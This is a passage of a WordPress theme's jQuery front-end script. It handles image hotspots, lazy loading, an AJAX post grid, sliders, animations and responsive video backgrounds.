									.removeClass('force-top');
								
								$(this).find('.nectar_hotspot').addClass('click');
								
								if ($(this).find('.nttip a.tipclose').length == 0) {
									$(this).find('.nttip .inner').append('<a href="#" class="tipclose"><span></span></a>');
								}
								
								// Change height of fixed
								$('.nttip').css('height', $window.height());
							}
						});
					});
					
				}
				

				/**
				* Image with hotspots events
				*
				* @since 10.5
				*/
				function imageWithHotspotEvents() {
					
					if( $('.nectar_image_with_hotspots').length == 0 ) {
						return;
					}
					
					// Hover
					hotSpotHoverBind();
					
					// Click
					$body.on('click', '.nectar_hotspot.click', function () {
						$(this).parents('.nectar_image_with_hotspots').find('.nttip').removeClass('open');
						$(this).parent().find('.nttip').addClass('open');
						
						$(this).parents('.nectar_image_with_hotspots').find('.nectar_hotspot').removeClass('open');
						$(this).parent().find('.nectar_hotspot').addClass('open');
						
						if (nectarDOMInfo.winW > 690) {
							$(this).parent().css({
								'z-index': '120',
								'height': 'auto',
								'width': 'auto'
							});
							
							var $that = $(this);
							
							setTimeout(function () {
								$that.parents('.nectar_image_with_hotspots').find('.nectar_hotspot_wrap').each(function () {
									
									if ($(this).find('> .open').length == 0) {
										$(this).css({
											'height': '30px',
											'width': '30px',
											'z-index': 'auto'
										});
									}
								});
							}, 300);
						}
						
						if (nectarDOMInfo.winW <= 690) {
							$(this).parents('.wpb_row, [class*="vc_col-"]').css('z-index', '200');
						}
						
						return false;
					});
					
					$body.on('click', '.nectar_hotspot.open', function () {
						$(this).parent().find('.nttip').removeClass('open');
						$(this).parent().find('.nectar_hotspot').removeClass('open');
						
						$(this).parents('.wpb_row').css('z-index', 'auto');
						
						return false;
					});
					
					$body.on('click', '.nttip.open', function () {
						if (nectarDOMInfo.winW < 690) {
							$(this).parents('.nectar_image_with_hotspots').find('.nttip').removeClass('open');
							$(this).parents('.nectar_image_with_hotspots').find('.nectar_hotspot').removeClass('open');
							$(this).parents('.wpb_row').css('z-index', 'auto');
							return false;
						}
					});
					
					
					// Calculate on init.
					responsiveTooltips();
					
					// Resize event.
					$window.on('resize',responsiveTooltips);
					
				}
				
				

				/**
				* Image with hotspots initialization.
				*
				* @since 7.0
				* @see waypoints
				*/
				function imageWithHotspots() {
					
					var $imageWithHotspotsOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '50%';
					
					$($fullscreenSelector + '.nectar_image_with_hotspots[data-animation="true"]').each(function () {
						
						var $that = $(this);
						var waypoint = new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('completed')) {
									waypoint.destroy();
									return;
								}
								
								$that.addClass('completed');
								$that.find('.nectar_hotspot_wrap').each(function (i) {
									var $that2 = $(this);
									var $extrai = ($that2.parents('.col.has-animation').length > 0) ? 1 : 0;
									setTimeout(function () {
										$that2.addClass('animated-in');
									}, 175 * (i + $extrai));
								});
								
								waypoint.destroy();
								
							},
							offset: $imageWithHotspotsOffsetPos
						});
						
					});
					

				}
			
			
				/**
				* Nectar Lazy Loading
				*
				* @since 11.0
				*/
				function nectarLazyImageLoading() {
					
					var lazyItems = [].slice.call(document.querySelectorAll('[data-nectar-img-src]'));
					
					if ('IntersectionObserver' in window) {
						
						var options = {
							rootMargin: '75px',
						}
						
						nectarLazyImageSizing();
						$window.on('resize', nectarLazyImageSizing);
						
						var lazyItemObserver = new IntersectionObserver(function(entries) {
							
							entries.forEach(function(entry) {
								if (entry.isIntersecting) {
									var lazyItem = entry.target;
									
									var imgSrc = lazyItem.getAttribute('data-nectar-img-src');
									
									// img tags.
									if( lazyItem.classList.contains('nectar-lazy') ) {
										lazyItem.addEventListener( 'load', function() {
											lazyItem.style.height = "";
											lazyItem.style.width = "";
											lazyItem.classList.add('loaded'); 
											lazyItem.removeAttribute('data-nectar-img-src');
											lazyItemObserver.unobserve(lazyItem);
										});
										lazyItem.src = imgSrc;
										var srcset = lazyItem.getAttribute('data-nectar-img-srcset');
										if( srcset ) {
											lazyItem.setAttribute( 'srcset', srcset );
											lazyItem.removeAttribute('data-nectar-img-srcset');
										}
									} 
									// BGs.
									else {
										lazyItem.style.backgroundImage = "url('" + imgSrc + "')";
										lazyItem.classList.add('loaded');
										lazyItem.removeAttribute('data-nectar-img-src');
										lazyItemObserver.unobserve(lazyItem);
									}
									
								}
								
							});
							
						}, options);
						
						lazyItems.forEach(function(lazyItem) {
							lazyItemObserver.observe(lazyItem);
						});
						
					}
					else {
						// load all the images when intersection observer is not supported.
						lazyItems.forEach(function(lazyItem) {
							
							// img tags.
							if( lazyItem.classList.contains('nectar-lazy') ) {
								lazyItem.style.height = "";
								lazyItem.style.width = "";
								lazyItem.src = lazyItem.getAttribute('data-nectar-img-src');
								var srcset = lazyItem.getAttribute('data-nectar-img-srcset');
								if( srcset ) {
									lazyItem.setAttribute( 'srcset', srcset );
									lazyItem.removeAttribute('data-nectar-img-srcset');
								}
								lazyItem.classList.add('loaded'); 
								lazyItem.removeAttribute('data-nectar-img-src');
							} 
							// BGs.
							else {
								lazyItem.style.backgroundImage = "url('" + lazyItem.getAttribute('data-nectar-img-src') + "')";
								lazyItem.classList.add('loaded');
								lazyItem.removeAttribute('data-nectar-img-src');
							}
							
						});
					}
					
					
				}
				
				
				/**
				* Nectar lazy img size helper.
				*
				* @since 11.0
				*/
				
				function nectarLazyImageSizing() {
					
					$('img.nectar-lazy:not(.loaded)').each(function() {
						
						$(this).css({
							'height': '',
							'width' : ''
						});
						
						var heightAttr = parseInt($(this).attr('height'));
						var widthAttr = parseInt($(this).attr('width'));
						
						var width = ($(this).parents('.nectar_cascading_images').length > 0) ? $(this).parents('.bg-layer').width() : $(this).width();
						
						var dimensions = calculateAspectRatio( widthAttr, heightAttr, width, 2000 );
						
						$(this).css({
							'height':  dimensions.height + 'px',
							'width' :  dimensions.width + 'px'
						});
						
					});
					
				}	
					
			
			/**
			* Nectar Post Grid Mouse Follow Init
			*
			* @since 11.0
			*/
			function nectarPostGridMouse() {
				
				viewIndicatorArr = [];
				
				if( !nectarDOMInfo.usingMobileBrowser ) {
					
					$('.nectar-post-grid[data-indicator="yes"]').each(function(i) {
						viewIndicatorArr[i] = new NectarIconMouseFollow($(this),'view-indicator');
					});
					
				}
				
			}
			
			
			
			
					
			/**
			* Nectar Post Grid
			*
			* @since 11.0
			*/	
			function nectarPostGridInit() {
					
					$nectarPostGridArr = [];
					
					// Mouse follow.
					nectarPostGridMouse();
					
					// Create grid instances.
					$('.nectar-post-grid-wrap').each(function(i) {
						$nectarPostGridArr[i] = new NectarPostGrid($(this));
					});
					
					
				}
				
				
				
				function NectarPostGrid(el) {
					
					this.el             = el;
					this.currentPage    = 0;
					this.activeFilter   = 1;
					this.activeCatTotal = 0;
					this.settingsData   = JSON.parse(this.el.attr('data-el-settings'));
					this.queryData      = JSON.parse(this.el.attr('data-query'));
					this.sortable       = this.el.find('.nectar-post-grid-filters').attr('data-sortable');
					
					this.initialMarkup();
					this.clickEvents();
				}
				
				NectarPostGrid.prototype.initialMarkup = function() {

					// Start Filter Active.
					if( this.el.find('.nectar-post-grid-filters a.active').length == 0 ) {
						this.el.find('.nectar-post-grid-filters a:first-child').addClass('active');
					}
										
					// Load More Markup.
					if( this.settingsData.pagination === 'load-more' && this.el.find('.load-more-wrap').length == 0 ) {
						
						this.activeCatTotal = parseInt(this.el.find('.nectar-post-grid-filters a:nth-child(' + this.activeFilter + ')').attr('data-total-count'));
						
						// Start hidden?
						if( this.el.find('.nectar-post-grid-item').length >= this.activeCatTotal ) {
							this.el.append('<div class="load-more-wrap inactive"><a href="#" class="load-more">'+ this.el.attr('data-load-more-text') + '</a></div>');
						} else {
							this.el.append('<div class="load-more-wrap"><a href="#" class="load-more">'+ this.el.attr('data-load-more-text') + '</a></div>');
						}
						
					}

				};
				
				
				
				NectarPostGrid.prototype.clickEvents = function() {
					
					// Sortable Mobile Toggle.
					this.el.find('.nectar-post-grid-filters h4').on('click', function(){
						$(this).parent().find('div').toggleClass('visible');
						$(this).toggleClass('visible');
					});
					
					// Sortable/Pagination.
					var settingsData = this.settingsData;
					var queryData    = this.queryData;
					var instance     = this;
					
					this.el.find('.nectar-post-grid-filters a, .load-more-wrap:not(.inactive) .load-more').on('click', function(){
						
						var $that = $(this);
						
						// Filter active.
						if($that.parents('.nectar-post-grid-wrap.loading').length > 0 || $(this).hasClass('active')) {
							return false;
						}
						
						
						if( $(this).parents('.nectar-post-grid-filters').length > 0 ) {
							// Filter specific.
							$that.parent().find('a').removeClass('active');
							$that.addClass('active');
							instance.currentPage = 0;
							instance.activeFilter = $that.index() + 1;
						} else {
							// Load More specific.
							instance.currentPage++;
						}
						
						var $gridEl       = $that.parents('.nectar-post-grid-wrap').find('.nectar-post-grid')
						var $pagination   = settingsData.pagination;
						var $action       = ($that.hasClass('load-more') && $pagination === 'load-more') ? 'load-more' : 'filter';
						var $category     = '';
						
						// Determine what category to load from.
						if( instance.sortable === 'yes' ) {
							$category = $that.parents('.nectar-post-grid-wrap').find('.nectar-post-grid-filters a.active').attr('data-filter');
						} else {
							
							var skipAll = ( $that.parents('.nectar-post-grid-wrap').find('.nectar-post-grid-filters a').length > 1 ) ? ':not(.all-filter)' : '';
							
							$that.parents('.nectar-post-grid-wrap').find('.nectar-post-grid-filters a' + skipAll).each(function(){
								$category += $(this).attr('data-filter') + ', ';
							});
							
							$category = $category.substring(0, $category.length - 2);
							
						}
						
						
						var $dataToPass = {
							action: 'nectar_get_post_grid_segment',
							post_type: queryData.post_type,
							category: $category,
							posts_per_page: queryData.posts_per_page,
							current_page: instance.currentPage,
							offset: queryData.offset,
							order: queryData.order,
							orderby: queryData.orderby,
							load_action: $action,
							settings: {
								pagination: $pagination,
								post_type: settingsData.post_type,
								image_size: settingsData.image_size,
								display_categories: settingsData.display_categories,
								display_excerpt: settingsData.display_excerpt,
								display_date: settingsData.display_date,
								color_overlay: settingsData.color_overlay,
								color_overlay_opacity: settingsData.color_overlay_opacity,
								color_overlay_hover_opacity: settingsData.color_overlay_hover_opacity
							}
						};
						
						$that.parents('.nectar-post-grid-wrap').addClass('loading');
						
						$.post(window.nectarLove.ajaxurl, $dataToPass, function (data) {
							
							$that.parents('.nectar-post-grid-wrap').removeClass('loading');
							
							// Update markup.
							if( $action === 'load-more' ) {
								$gridEl.append(data);
							} else {
								$gridEl.html(data);
							}
							
							if( $pagination === 'load-more' ) {
								
								instance.activeCatTotal = parseInt(instance.el.find('.nectar-post-grid-filters a:nth-child(' + instance.activeFilter + ')').attr('data-total-count'));
								
								if( $gridEl.find('.nectar-post-grid-item').length >= instance.activeCatTotal ) {
									instance.el.find('.load-more-wrap').addClass('inactive');
								} else {
									instance.el.find('.load-more-wrap').removeClass('inactive');
								}
								
							}
							
							// Resize.
							$window.trigger('resize');
							
							// Mouse follow.
							nectarPostGridMouse();
							
						});
						
						return false;
						
					});
					
				};
				
				
				
				/**
				* Animated title element initialization.
				*
				* @since 7.0
				* @see waypoints
				*/
				function animatedTitles() {
					
					var $animatedTitlesOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : 'bottom-in-view';
					
					$($fullscreenSelector + '.nectar-animated-title').each(function () {
						
						var $that = $(this),
						waypoint 	= new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('completed')) {
									waypoint.destroy();
									return;
								}
								
								$that.addClass('completed');
								
								waypoint.destroy();
								
							},
							offset: $animatedTitlesOffsetPos
						});
						
					});
				}
				
				
				
				
				/**
				* Highlighted Text element initialization.
				*
				* @since 9.0
				* @see waypoints
				*/
				function highlightedText() {
					
					var $highlightedTextOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : 'bottom-in-view';
					var highlightedColorCss = '';

					$($fullscreenSelector + '.nectar-highlighted-text').each(function (i) {
						
						var $animationDelay = 0;
						
						if($(this).is('[data-animation-delay]') && 
						$(this).attr('data-animation-delay').length > 0 && 
						$(this).attr('data-animation') != 'false') {
							$animationDelay = $(this).attr('data-animation-delay');
						}
						
						// Custom color 
						if ($(this).is('[data-using-custom-color="true"]')) {
							
							var $custom_highlight_color   = $(this).attr('data-color');
							var $custom_highlight_color_2 = ( $(this).is('[data-color-gradient]') && $(this).attr('data-color-gradient').length > 0 ) ? $(this).attr('data-color-gradient') : false;
							
							$(this).addClass('instance-' + i);
							
							if( $custom_highlight_color_2 !== false && $custom_highlight_color_2.length > 0 ) {
								highlightedColorCss += '.nectar-highlighted-text.instance-' + i + ' em:before { background: linear-gradient(90deg, '+ $custom_highlight_color +', '+ $custom_highlight_color_2 +'); }';
							} else {
								highlightedColorCss += '.nectar-highlighted-text.instance-' + i + ' em:before { background-color: ' + $custom_highlight_color + '; }';
							}
							

						}
						
						if (nectarDOMInfo.usingMobileBrowser) {
							$(this).find('em').addClass('animated');
						}
						
						// Waypoint
						var $that = $(this);
						var waypoint = new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated')) {
									waypoint.destroy();
									return;
								}
								
								setTimeout(function() {
									
									$that.find('em').each(function (i) {
										var $highlighted_em = $(this);
										setTimeout(function () {
											$highlighted_em.addClass('animated');
										}, i * 300);
										
									});
									
								}, $animationDelay);
								
								waypoint.destroy();
								
							},
							offset: $highlightedTextOffsetPos
						});
						
					});
					
					// Style
					nectarCreateStyle(highlightedColorCss, 'highlighted-text');
					
				}
				
				
				
				
				/**
				* Pricing table element height calculations.
				*
				* @since 2.0
				*/
				function pricingTableHeight() {
					
					var $tallestCol;
					
					$('.pricing-table[data-style="default"]').each(function () {
						$tallestCol = 0;
						
						$(this).find('> div ul').each(function () {
							
							if( $(this).height() > $tallestCol ) {
								$tallestCol = $(this).height();
							}

						});
						
						//safety net incase pricing tables height couldn't be determined
						if ($tallestCol == 0) {
							$tallestCol = 'auto';
						}
						
						//set even height
						$(this).find('> div ul').css('height', $tallestCol);
						
					});
				}
				
				
				
				
				/**
				* Testimonial slider element initialization.
				*
				* @since 10.5
				*/
				function nectarTestimonialSliders() {
					
					$testimonialSliders = [];
					
					if (typeof NectarTestimonialSlider == 'undefined') {
						return;
					}
					
					$('.testimonial_slider').each(function (i) {
						
						var $that_el  = $(this),
						$type         = ($(this).is('[data-style]')) ? $(this).attr('data-style') : 'none';
						
						$testimonialSliders[i] = new NectarTestimonialSlider($that_el, $type, resizeVideoToCover, fullWidthContentColumns);
						
						
						if ($(this).is('.disable-height-animation:not([data-style*="multiple_visible"])')) {
							$testimonialSliders[i].testimonialSliderHeight();
							setTimeout($testimonialSliders[i].testimonialSliderHeight.bind($testimonialSliders[i]), 500);
						}
						
						if ($(this).is('.testimonial_slider[data-style="multiple_visible_minimal"]')) {
							$testimonialSliders[i].testimonialSliderHeightMinimalMult();
							setTimeout($testimonialSliders[i].testimonialSliderHeightMinimalMult.bind($testimonialSliders[i]), 500);
						}
						
					});
					

				}
				
				
				/**
				* Testimonial slider element resize binding.
				*
				* @since 10.5
				*/
				function nectarTestimonialSlidersEvents() {
					
					$window.off('smartresize.nectarTestimonials');
					$window.off('resize.nectarTestimonialsMin');
					
					if($testimonialSliders.length > 0) {
						$window.on('smartresize.nectarTestimonials',nectarTestimonialMainResize);
					}
					
					if( $('.testimonial_slider[data-style="multiple_visible_minimal"]').length > 0 ) {
						$window.on('resize.nectarTestimonialsMin',nectarTestimonialMiniamlResize);
					}
					
				}
				
				function nectarTestimonialMainResize() {
						for (var i = 0; i < $testimonialSliders.length; i++) {
							$testimonialSliders[i].testimonialSliderHeight();
							$testimonialSliders[i].testimonialHeightResize();
						}
				}
				function nectarTestimonialMiniamlResize() {
						for (var i = 0; i < $testimonialSliders.length; i++) {
							$testimonialSliders[i].testimonialSliderHeightMinimalMult();
						}
				}
				
				
				
				/**
				* Icon list element initialization.
				*
				* @since 6.0
				* @see waypoints
				*/
				function iconList() {
					
					var $iconListOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '250%' : '75%';
					
					$($fullscreenSelector + '.nectar-icon-list[data-animate="true"]').each(function () {
						
						var $that = $(this),
						waypoint 	= new Waypoint({
							element: $that,
							handler: function () {
								
								if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('completed')) {
									waypoint.destroy();
									return;
								}
								
								$that.each(function () {
									
									var $listItemAnimationDelay = ($that.is('[data-direction="horizontal"]')) ? 100 : 300;
									
									$(this).find('.nectar-icon-list-item').each(function (i) {
										var $thatt = $(this);
										setTimeout(function () {
											$thatt.addClass('animated');
										}, i * $listItemAnimationDelay);
									});
									
								});
								
								$that.addClass('completed');
								
								waypoint.destroy();
								
							},
							offset: $iconListOffsetPos
						});
						
					});
				}
				
				
				
				/**
				* Get the BG color of parent column/row.
				*
				* @since 6.0
				*/
				function narrowParentBGC(element) {
					
					var narrowedBGC;
					
					if (element.parents('.wpb_column[data-bg-color*="#"]').length > 0 && element.parents('.wpb_column[data-bg-opacity="1"]').length > 0) {
						narrowedBGC = element.parents('.wpb_column').attr('data-bg-color');
					} 
					else if (element.parents('.wpb_row').length > 0 && element.parents('.wpb_row').find('.row-bg.using-bg-color').length > 0 ||
						element.parents('.wpb_row').length > 0 && element.parents('.wpb_row').find('.row-bg.using-bg-color-excluded').length > 0) {
						narrowedBGC = element.parents('.wpb_row').find('.row-bg').css('background-color');
					} 
					else {
						if ($('#nectar_fullscreen_rows').length > 0) {
							narrowedBGC = $('#nectar_fullscreen_rows > .wpb_row .full-page-inner-wrap').css('background-color');
						}
						else {
							narrowedBGC = $('.container-wrap').css('background-color');
						}
					}
					
					return narrowedBGC;
					
				}
				

				/**
				* Icon BG matching row BG
				*
				* @since 6.0
				*/
				function nectarIconMatchColoring() {
					
					var nectarMatchingBGCss = '';
					
					// Icon list
					$('.nectar-icon-list[data-icon-style="border"], .nectar_icon_wrap[data-style="border-animation"][data-color*="extra-color-gradient-"]').each(function (i) {
						
						var $bgColorToSet = narrowParentBGC($(this));
						
						if( $(this).hasClass('nectar-icon-list') ) {
							$(this).find('.list-icon-holder').css('background-color', $bgColorToSet);
						}
						else {

							$(this).removeClass(function (index, className) {
								return (className.match(/(^|\s)instance-\S+/g) || []).join(' ');
							});
							
							$(this).addClass('instance-' + i);
							nectarMatchingBGCss += '.nectar_icon_wrap.instance-' + i + ' .nectar_icon:before { background-color: ' + $bgColorToSet + '!important; }';
						}
						
					});
					
					// Material gradient btns
					$('body.material .nectar-button.see-through[class*="m-extra-color-gradient"]').each(function (i) {
						
						var $bgColorToSet = narrowParentBGC($(this));
						
						$(this).removeClass(function (index, className) {
							return (className.match(/(^|\s)instance-\S+/g) || []).join(' ');
						});
						
						$(this).addClass('instance-' + i);
						nectarMatchingBGCss += '.nectar-button.see-through.instance-' + i + ':after { background-color: ' + $bgColorToSet + '!important; }';
						
					});
					
					// Style
					nectarCreateStyle(nectarMatchingBGCss, 'nectaricon-color-match');
					
				}
				
				
				
				

				/**
				* One fourth column classes.
				*
				* @since 2.0
				*/
				function oneFourthClasses() {
					
					$('.col.span_3, .vc_span3, .vc_col-sm-3').each(function () {
						if (!$(this).is('[data-t-w-inherits="small_desktop"]')) {
							
							var $currentDiv = $(this);
							var $nextDiv    = $(this).next('div');
							
							if ($nextDiv.hasClass('span_3') && !$currentDiv.hasClass('one-fourths') || 
							$nextDiv.hasClass('vc_span3') && !$currentDiv.hasClass('one-fourths') || 
							$nextDiv.hasClass('vc_col-sm-3') && !$currentDiv.hasClass('one-fourths')) {
								$currentDiv.addClass('one-fourths clear-both');
								$nextDiv.addClass('one-fourths right-edge');
							}
						}
					});
					
					// Make empty second 1/2 half columns display right on iPad
					$('.span_12 .col.span_6').each(function () {
						if ($(this).next('div').hasClass('span_6') && $.trim($(this).next('div').html()).length == 0) {
							$(this).addClass('empty-second');
						}
					});
					
				}
				

				
				
				/**
				* Responsive video iframes initialization.
				*
				* @since 3.0
				*/
				function responsiveVideoIframesInit() {
					
						$('iframe').each(function () {
							
							// Make sure the iframe has a src
							if (typeof $(this).attr('src') != 'undefined' && 
							!$(this).hasClass('skip-nectar-video-size') && 
							!$(this).hasClass('iframe-embed') && 
							$(this).parents('.ult_modal').length == 0 && 
							$(this).parents('.ls-slide').length == 0 && 
							$(this).parents('.esg-entry-media').length == 0 && 
							$(this).parents('.wpb_video_widget.wpb_content_element').length == 0) {
								
								var embedSrcLower = $(this).attr('src').toLowerCase();
								
								if (embedSrcLower.indexOf("youtube") >= 0 || 
								embedSrcLower.indexOf("vimeo") >= 0 || 
								embedSrcLower.indexOf("twitch.tv") >= 0 || 
								embedSrcLower.indexOf("kickstarter") >= 0 || 
								embedSrcLower.indexOf("embed-ssl.ted") >= 0 || 
								embedSrcLower.indexOf("dailymotion") >= 0) {
									
									$(this).addClass('iframe-embed');
									
									if ($(this).width() < $(this).parent().width()) {
										$(this)
											.attr('data-aspectRatio', $(this).height() / $(this).width())
											.removeAttr('height')
											.removeAttr('width');
									} else {
										$(this)
											.attr('data-aspectRatio', '0.56')
											.removeAttr('height')
											.removeAttr('width');
									}
									
									if ($(this).parents('.post-area.masonry.classic').length > 0) {
										$(this)
											.attr('data-aspectRatio', '0.56')
											.removeAttr('height')
											.removeAttr('width');
									}
									
								}
								
							}
							
						});
					
				}
				
				
				/**
				* Responsive video iframes.
				*
				* @since 3.0
				*/
				function responsiveVideoIframes() {
					
					$('iframe[data-aspectRatio]').each(function () {
						
						var $el   = $(this),
						newWidth  = $el.parent().width();
						
						// In nectar slider
						if ($(this).parents('.swiper-slide').length > 0) {
							if ($(this).is(':visible')) {
								$el
									.width(newWidth)
									.height(newWidth * $el.attr('data-aspectRatio'));
							}
						}
						// All others
						else {
							$el
								.width(newWidth)
								.height(newWidth * $el.attr('data-aspectRatio'));
						}

					});
					
				}
				
				
				/**
				* Reveal the audio/video elements after the size has been calculated.
				*
				* @since 10.5
				*/
				function audioVideoVis() {
					
					//unwrap post and protfolio videos
					$('.video-wrap iframe').unwrap();
					$('#sidebar iframe[src]').unwrap();
					
					$('audio')
						.attr('width', '100%')
						.attr('height', '100%')
						.css('visibility', 'visible');
					
					if ($body.hasClass('mobile')) {
						$('video').css('visibility', 'hidden');
					} else {
						$('video').css('visibility', 'visible');
					}
					
					
					$('.wp-video').each(function () {
						var video = $(this).find('video').get(0);
						video.addEventListener('loadeddata', function () {
							$window.trigger('resize');
						}, false);
					});
					
					//webkit video back button fix 
					$('.main-content iframe[src]').each(function () {
						$(this).css({
							'opacity': '1',
							'visibility': 'visible'
						});
					});
					
				}
				

			
				
				
				/**
				* Nectar video background size calculations
				*
				* @since 5.0
				*/
				function resizeVideoToCover() {

					var vid_w_orig  = 1280,
					vid_h_orig      = 720,
					min_w           = 1200;
					
					$('.nectar-video-wrap').each(function () {
						
						var $containerHeight, $containerWidth;
						
						if ($(this).find('video').length == 0) {
							return;
						}
						
						if ($(this).parents('#page-header-bg').length > 0) {
							
							if ($('.container-wrap.auto-height').length > 0) {
								return false;
							}
							
							$containerHeight  = $(this).parents('#page-header-bg').outerHeight();
							$containerWidth   = $(this).parents('#page-header-bg').outerWidth();
						} else {
							
							if ($(this).hasClass('column-video')) {
								if( $body.is('[data-flex-cols="true"]') ) {
									$containerHeight  = $(this).parents('.vc_column-inner').outerHeight();
									$containerWidth   = $(this).parents('.vc_column-inner').outerWidth();
								} else {
									$containerHeight  = $(this).parents('.wpb_column').outerHeight();
									$containerWidth   = $(this).parents('.wpb_column').outerWidth();
								}
							} else {
								$containerHeight  = $(this).parents('.wpb_row').outerHeight();
								$containerWidth   = ($(this).parents('.full-width-section').length > 0) ? nectarDOMInfo.winW : $(this).parents('.wpb_row').outerWidth();
							}
						}
						
						// Set the video viewport to the window size
						$(this).width($containerWidth);
						if ($(this).parents('#page-header-bg').length > 0) {
							$(this).height($containerHeight);
						}
						
						// Use largest scale factor of horizontal/vertical
						var scale_h = $containerWidth / vid_w_orig,
						scale_v     = ($containerHeight - $containerHeight) / vid_h_orig,
						scale       = scale_h > scale_v ? scale_h : scale_v;
						
						// Update minium width to never allow excess space
						min_w = 1280 / 720 * ($containerHeight + 40);
						
						// Don't allow scaled width < minimum video width
						if (scale * vid_w_orig < min_w) {
							scale = min_w / vid_w_orig;
						}
						
						// Now scale the video
						$(this).find('video, .mejs-overlay, .mejs-poster').width(Math.ceil(scale * vid_w_orig + 0));
						$(this).find('video, .mejs-overlay, .mejs-poster').height(Math.ceil(scale * vid_h_orig + 0));
						
						// And center it by scrolling the video viewport
						$(this).scrollLeft(($(this).find('video').width() - $containerWidth) / 2);
						$(this).scrollTop(($(this).find('video').height() - ($containerHeight)) / 2);
						$(this).find('.mejs-overlay, .mejs-poster').scrollTop(($(this).find('video').height() - ($containerHeight)) / 2);
						
						
						// Align bottom
						if ($(this).attr('data-bg-alignment') == 'center bottom' || $(this).attr('data-bg-alignment') == 'bottom') {
							$(this).scrollTop(($(this).find('video').height() - ($containerHeight + 6)));
						}
						// Align top
						else if ($(this).attr('data-bg-alignment') == 'center top' || $(this).attr('data-bg-alignment') == 'top') {
							$(this).scrollTop(0);
						}
						
						// Add loaded class
						$(this).addClass('position-loaded');
					});
					
				}
				
				
				
				/**
				* Nectar video background initialization.
				*
				* @since 5.0
				*/
				function videoBGInit() {
					
					if ($('.nectar-video-wrap').length == 0 && $('.nectar-youtube-bg').length == 0) {
						return;
					}
					
					setTimeout(function () {
						
						resizeVideoToCover();
						
						// Resize
						$window.on('resize',resizeVideoToCover);
						
						$('.video-color-overlay').each(function () {
							$(this).css('background-color', $(this).attr('data-color'));
						});
						
						$('.nectar-video-wrap').each(function () {
							
							if ($(this).find('video').length == 0) {
								return;
							}
							
							var $headerVideo  = ($(this).parents('#page-header-bg').length > 0) ? true : false;
							var $that         = $(this);
							var videoReady    = setInterval(function () {
								
								if ($that.find('video').get(0).readyState > 3) {
									
									if (!nectarDOMInfo.usingMobileBrowser) {
										$that.transition({
											'opacity': '1'
										}, 400);
										$that.find('video').transition({
											'opacity': '1'
										}, 400);
										$that.parent().find('.video-color-overlay').transition({
											'opacity': '0.7'
										}, 400);
										if ($headerVideo == true) {
											pageHeaderTextEffect();
										}
									}
									
									// Remove page loading screen
									$loadingScreenEl.addClass('loaded');
									setTimeout(function () {
										$loadingScreenEl.addClass('hidden');
									}, 1000);
									
									
									clearInterval(videoReady);
								}
								
							}, 60);
							
							if (nectarDOMInfo.usingMobileBrowser) {
								if ($that.parents('.full-width-section').length > 0 && $that.parents('#nectar_fullscreen_rows').length == 0) {
									$that.css('left', '50%');
								} else {
									$that.css('left', '0px');
								}
								
								if ($headerVideo == true) {
									pageHeaderTextEffect();
								}
								$that.find('video')[0].onplay = function () {
									$that.transition({
										'opacity': '1'
									}, 400);
									$that.find('video').transition({
										'opacity': '1'
									}, 400);
									$that.parent().find('.video-color-overlay').transition({
										'opacity': '0.7'
									}, 400);
								};
							}
							
						});
					}, 300);
					
					
					if (nectarDOMInfo.usingMobileBrowser) {
						
						$('.nectar-video-wrap').each(function () {
							
							if (!$(this).find('video').is('[muted]')) {
								
								// Autoplay not supported unless muted
								$(this).parent().find('.mobile-video-image').show();
								$(this).remove();
							}
							
						});

					}
					
					
					$('.wpb_row:has(".nectar-video-wrap"):not(.fp-section)').each(function (i) {
						$(this).css('z-index', 100 + i);
					});
					
					
					$(".vc_row").each(function () {
						var youtubeUrl, youtubeId, $row = jQuery(this);
						$row.find('.nectar-youtube-bg').length > 0 ? (youtubeUrl = $row.find('.nectar-youtube-bg span').text(), youtubeId = nectarExtractYoutubeId(youtubeUrl), youtubeId && ($row.find(".vc_video-bg").remove(), nectarInsertYoutubeVideoAsBackground($row.find('.nectar-youtube-bg'), youtubeId))) : $row.find(".nectar-youtube-bg").remove();
						
						// Remove yt url
						$row.find('.nectar-youtube-bg span').remove();
						
						if (!nectarDOMInfo.usingMobileBrowser) {
							$row.find('.nectar-video-wrap, .nectar-youtube-bg').css({
								'opacity': '1',
								'width': '100%',
								'height': '100%'
							});
						}
						$row.find('.video-color-overlay').transition({
							'opacity': '0.7'
						}, 400);
					});
					
					
					function nectarInsertYoutubeVideoAsBackground($element, youtubeId, counter) {
						if ("undefined" == typeof YT || void 0 === YT.Player) return 100 < (counter = void 0 === counter ? 0 : counter) ? void console.warn("Too many attempts to load YouTube api") : void setTimeout(function () {
							nectarInsertYoutubeVideoAsBackground($element, youtubeId, counter++)
						}, 100);
						var $container = $element.prepend('<div class="vc_video-bg"><div class="inner"></div></div>').find(".inner");
						new YT.Player($container[0], {
							width: "100%",
							height: "100%",
							videoId: youtubeId,
							playerVars: {
								playlist: youtubeId,
								iv_load_policy: 3,
								enablejsapi: 1,
								disablekb: 1,
								autoplay: 1,
								controls: 0,
								showinfo: 0,
								rel: 0,
								loop: 1
							},
							events: {
								onReady: function (event) {
									event.target.mute().setLoop(!0);
									nectarResizeVideoBackground($element);
								}
							}
						}), nectarResizeVideoBackground($element), jQuery(window).on("resize", function () {
							nectarResizeVideoBackground($element);
						});
						
						setTimeout(function () {
							nectarResizeVideoBackground($element);
						}, 100);
					}
					
					function nectarResizeVideoBackground($element) {
						var iframeW, iframeH, marginLeft, marginTop, containerW = $element.innerWidth(),
						containerH = $element.innerHeight(),
						ratio1 = 16,
						ratio2 = 9;
						ratio1 / ratio2 > containerW / containerH ? (iframeW = containerH * (ratio1 / ratio2),
